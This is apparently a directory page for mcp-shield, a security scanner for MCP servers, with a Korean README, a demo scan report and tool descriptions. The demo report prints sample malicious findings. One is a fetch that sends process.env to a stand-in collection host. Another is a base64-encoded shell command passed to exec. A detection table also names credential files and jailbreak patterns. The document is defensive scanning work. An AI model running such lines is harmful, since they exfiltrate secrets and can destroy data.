Skip to main content
Glama

mcp-shield

MCP 서버용 보안 스캐너 — AI에 도달하기 전에 백도어, 데이터 유출, 프롬프트 인젝션 및 공급망 위험을 탐지합니다.

MCP 생태계가 빠르게 성장하고 있습니다. npm의 모든 서버가 안전한 것은 아닙니다. mcp-shield를 사용하면 Claude가 로컬 또는 npm의 모든 MCP 서버를 감사하여 파일, 키 및 컨텍스트를 신뢰하기 전에 검사할 수 있습니다.


탐지 항목

카테고리

예시

데이터 유출

네트워크를 통한 process.env 전송, SSH 키 액세스, AWS 자격 증명 읽기

코드 실행

eval(), new Function(), child_process.exec(), 동적 require()

난독화

Base64 런타임 디코딩, 16진수 인코딩 페이로드, 문자 코드 배열

민감한 파일 액세스

.env, id_rsa, 브라우저 쿠키, ~/.gitconfig

프롬프트 인젝션

숨겨진 지침, 너비가 0인 문자, 역할 전환 공격, 탈옥 패턴

공급망

패키지 생성 기간, 다운로드 수, 관리자 수, 의존성 내 CVE


Related MCP server: mcpwatch

데모

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

도구

도구

기능

scan_package

npm MCP 패키지를 다운로드하고 악성 패턴을 스캔합니다

scan_directory

로컬 MCP 서버 디렉터리(GitHub에서 복제된 것 등)를 스캔합니다

check_prompt_injection

도구 설명이나 응답에서 숨겨진 인젝션을 확인합니다

audit_supply_chain

모든 npm 패키지에 대한 신뢰 점수, CVE, 관리자 수 및 생성 기간을 가져옵니다


설치

옵션 1 — npx (설치 불필요)

claude mcp add mcp-shield -- npx mcp-shield

옵션 2 — 전역 설치

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

옵션 3 — 수동 설정

~/.claude/claude_mcp_config.json에 추가:

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

사용 예시

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

작동 원리

정적 분석 — 5개 카테고리에 걸쳐 20개 이상의 공격 서명을 포함하는 정규식 패턴 라이브러리로 JavaScript/TypeScript 소스 파일을 스캔합니다.

공급망 감사 — npm 레지스트리에서 패키지 메타데이터를 쿼리한 다음 npm audit을 실행하여 의존성 트리에 알려진 CVE를 노출합니다.

프롬프트 인젝션 탐지 — 도구 설명과 응답에서 너비가 0인 문자, 지침 재정의, 역할 전환 공격 및 기타 LLM 타겟팅 기술을 확인합니다.

--ignore-scripts 설치 — npm 패키지를 스캔할 때 --ignore-scripts 옵션으로 설치하여 분석 중에 악성 postinstall 후크가 실행되지 않도록 합니다.


기여

PR을 환영합니다. 탐지 패턴은 src/patterns.ts에 있으며, 새로운 서명을 추가하는 것은 간단한 객체 추가 작업입니다.

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

라이선스

MIT

Available Tools

4 tools
audit_supply_chainB

Audit an npm package's supply chain health: publish date, weekly downloads, maintainer count, dependency count, and known CVEs. Returns a trust score from 0-100.

Inputs: package_name (required), version.

check_prompt_injectionA

Scan text (tool descriptions, tool responses, MCP server manifest content) for prompt injection attacks, hidden instructions, zero-width characters, jailbreak patterns, and instruction overrides.

Inputs: text (required), label.

scan_directoryA

Scan a local MCP server directory for backdoors, exfiltration code, obfuscation, and dangerous patterns. Use this for MCP servers installed locally or cloned from GitHub.

Inputs: path (required).

scan_packageA

Download an npm MCP server package and scan it for backdoors, exfiltration code, obfuscation, dangerous code execution, and supply chain risks. Returns a full security report with severity ratings.

Inputs: package_name (required), version.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

Loading tool schema changelog…

    TDQS

    A4/5.0

    Scored across 4 tools

    Disambiguation5/5

    Each tool has a clearly distinct purpose with no overlap: audit_supply_chain focuses on npm package health metrics, check_prompt_injection analyzes text for injection attacks, scan_directory examines local MCP server files, and scan_package downloads and analyzes npm packages. The four tools cover different security aspects without ambiguity.

    Naming Consistency5/5

    All tool names follow a consistent verb_noun pattern using snake_case: audit_supply_chain, check_prompt_injection, scan_directory, and scan_package. The naming is predictable and readable throughout the set.

    Tool Count5/5

    With 4 tools, this server is well-scoped for its security-focused purpose. Each tool earns its place by covering distinct security domains (supply chain auditing, prompt injection detection, local scanning, and package scanning), avoiding bloat while providing comprehensive coverage.

    Completeness5/5

    The tool set provides complete coverage for MCP server security assessment: it handles both local and remote sources (directories and npm packages), includes both static analysis (scanning) and dynamic checks (prompt injection), and covers supply chain risks. No obvious gaps exist for this domain.

    Maintenance

    ActivityInactive
    ResponsivenessNo recent community issues

    Related MCP Connectors

    Related MCP Servers

    • A
      license
      Not graded
      quality
      D
      maintenance
      MCP server that audits other MCP servers. Run MCPWatch security scans from inside Claude Code or any MCP-compatible agent with 10 OWASP MCP Top 10 aligned checks and A-F letter grades.
      MIT
    • A
      license
      Not graded
      quality
      D
      maintenance
      Diagnose MCP servers — health checks, tool testing, token cost audits, conflict detection, and security scanning with 50+ prompt injection patterns. Works as CLI or MCP server inside Claude Desktop.
      1
      MIT